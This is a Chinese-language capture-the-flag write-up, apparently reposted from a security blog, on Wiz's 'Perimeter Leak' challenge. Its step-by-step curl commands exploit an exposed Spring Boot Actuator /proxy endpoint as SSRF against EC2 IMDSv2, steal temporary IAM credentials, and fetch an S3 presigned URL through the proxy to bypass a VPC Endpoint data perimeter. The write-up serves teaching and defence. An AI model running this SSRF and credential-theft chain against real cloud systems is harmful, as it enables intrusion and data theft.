文章总结: 本文剖析了Wiz云安全锦标赛中利用SpringBootActuator误配置引发的SSRF攻击链。攻击者通过proxy接口探测IMDSv2窃取IAM凭证,结合S3预签名URL与内部代理请求,成功绕过AWS数据边界及VPCEndpoint限制。文章强调应用层漏洞可击穿云平台防护,建议禁用Actuator并最小化IAM权限。 综合评分: 85 文章分类: 渗透测试,云安全,CTF,WEB安全,漏洞分析
打破“边界泄露”:一次 Spring Boot 错误配置如何击穿 AWS 数据边界
haidragon haidragon
安全狗的自我修养
2026年1月30日 14:48 湖南
官网:http://securitytech.cc
Wiz 的首个云安全锦标赛挑战题 “Perimeter Leak(边界泄露)”,很好地展示了:一个小小的配置错误,如何摧毁精心设计的 AWS 数据边界防护体系。
在这篇文章中,我会讲解我是如何利用:
- Spring Boot Actuator
- SSRF 打 IMDSv2
- S3 预签名 URL
一步步完成突破的。
🧩 挑战环境说明
场景一开始,你就已经拥有了一台 EC2 的 shell 权限,它代表“最终被攻陷的服务器”。
目标是: 👉 获取一个存放在 S3 Bucket 中的 secret flag。
这个 Bucket 被 AWS 数据边界保护着,启用了:
- VPC Endpoint 限制
- IAM 身份限制
终端里给了你一个 Spring Boot 应用入口:
curl -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com
这说明: 🎯 真正的弱点在应用层,而不是暴力 IAM 或 S3 配置。
🔍 Step 1 — 发现 Actuator 和 /proxy
提示指出 Spring Boot Actuator 可能被错误暴露,尤其是:
/actuator/mappings
测试管理接口:
curl -u ctf:88sPVWyC2P3p \
https://challenge01.cloud-champions.com/actuator/health
curl -u ctf:88sPVWyC2P3p \
https://challenge01.cloud-champions.com/actuator/mappings
返回结果里暴露了所有 Controller,包括一个关键接口:
/proxy
这个接口接收 url 参数,代表服务器代你发起 HTTP 请求。
👉 这就是一个标准 SSRF 注入点。
代码限制只允许:
- IP 地址
- 包含
amazonaws.com的域名
看似安全,但实际上可以被利用。
🚀 Step 2 — 利用 /proxy SSRF 打 IMDSv2
目标改为 EC2 元数据服务(IMDSv2)。
先申请 token:
curl -u ctf:88sPVWyC2P3p \
"https://challenge01.cloud-champions.com/proxy?url=http://redacted/latest/api/token" \
-X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
返回:
AQAEAIHEnDjDZf4MTTXQq56nhUF-G9tdOcplo1Fr8UPsfp_IRw0F5A==
然后枚举 IAM Role:
curl -u ctf:88sPVWyC2P3p \
"https://challenge01.cloud-champions.com/proxy?url=http://redacted/latest/meta-data/iam/security-credentials/" \
-H "X-aws-ec2-metadata-token: AQAEAIHEnDjDZf4MTTXQq56nhUF-G9tdOcplo1Fr8UPsfp_IRw0F5A=="
返回:
challenge01-5592368
说明: ✅ SSRF 成功打进 IMDS。
🗝 Step 3 — 窃取临时 IAM 凭证
继续请求完整凭证:
curl -u ctf:88sPVWyC2P3p \
"https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368" \
-H "X-aws-ec2-metadata-token: AQAEAIHEnDjDZf4MTTXQq56nhUF-G9tdOcplo1Fr8UPsfp_IRw0F5A=="
返回 JSON:
- AccessKeyId
- SecretAccessKey
- Token
- Expiration
导入环境:
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
export AWS_REGION=us-east-1
此时你已经拥有实例角色权限。
🛡 Step 4 — 理解 S3 数据边界
S3 Bucket 被设置了 Data Perimeter:
- 只允许特定 VPC Endpoint
- 校验 aws:SourceVpce
即使你拿到凭证,从外部也无法直接访问。
🔗 Step 5 — 生成 S3 预签名 URL
生成预签名:
aws s3 presign s3://challenge01-470f711/private/flag.txt \
--region us-east-1 \
--expires-in 60
它返回一个带签名参数的 HTTPS URL。
但是: ❌ 在你本地访问会失败,因为不满足 VPC Endpoint 条件。
🧨 Step 6 — 用 /proxy 拉取预签名 URL
先生成:
PRESIGNED_URL=$(aws s3 presign s3://challenge01-470f711/private/flag.txt --region us-east-1 --expires-in 60)
通过 proxy 发送:
curl -s -u ctf:88sPVWyC2P3p \
--get --data-urlencode "url=$PRESIGNED_URL" \
"https://challenge01.cloud-champions.com/proxy"
因为请求是从 EC2 内部发起,会自动走 S3 VPC Endpoint。
👉 成功绕过数据边界,直接返回 flag.txt 内容。
📚 Lessons Learned(经验总结)
这个挑战展示了:应用层漏洞可以击穿云平台级安全设计。
关键点:
- 数据边界再强,也怕 SSRF。
- Spring Boot Actuator 暴露是高危配置。
- IMDSv2 只能降低风险,不能防 SSRF。
- 预签名 URL 是最终数据外泄利器。
对防守方:
- 禁用 Actuator 暴露
- 禁止 proxy 类接口
- 最小化 IAM 权限
- 控制 IMDS
对攻击方:
- SSRF + IMDS + presign = 云上打穿套路。
#
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《打破“边界泄露”:一次 Spring Boot 错误配置如何击穿 AWS 数据边界》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论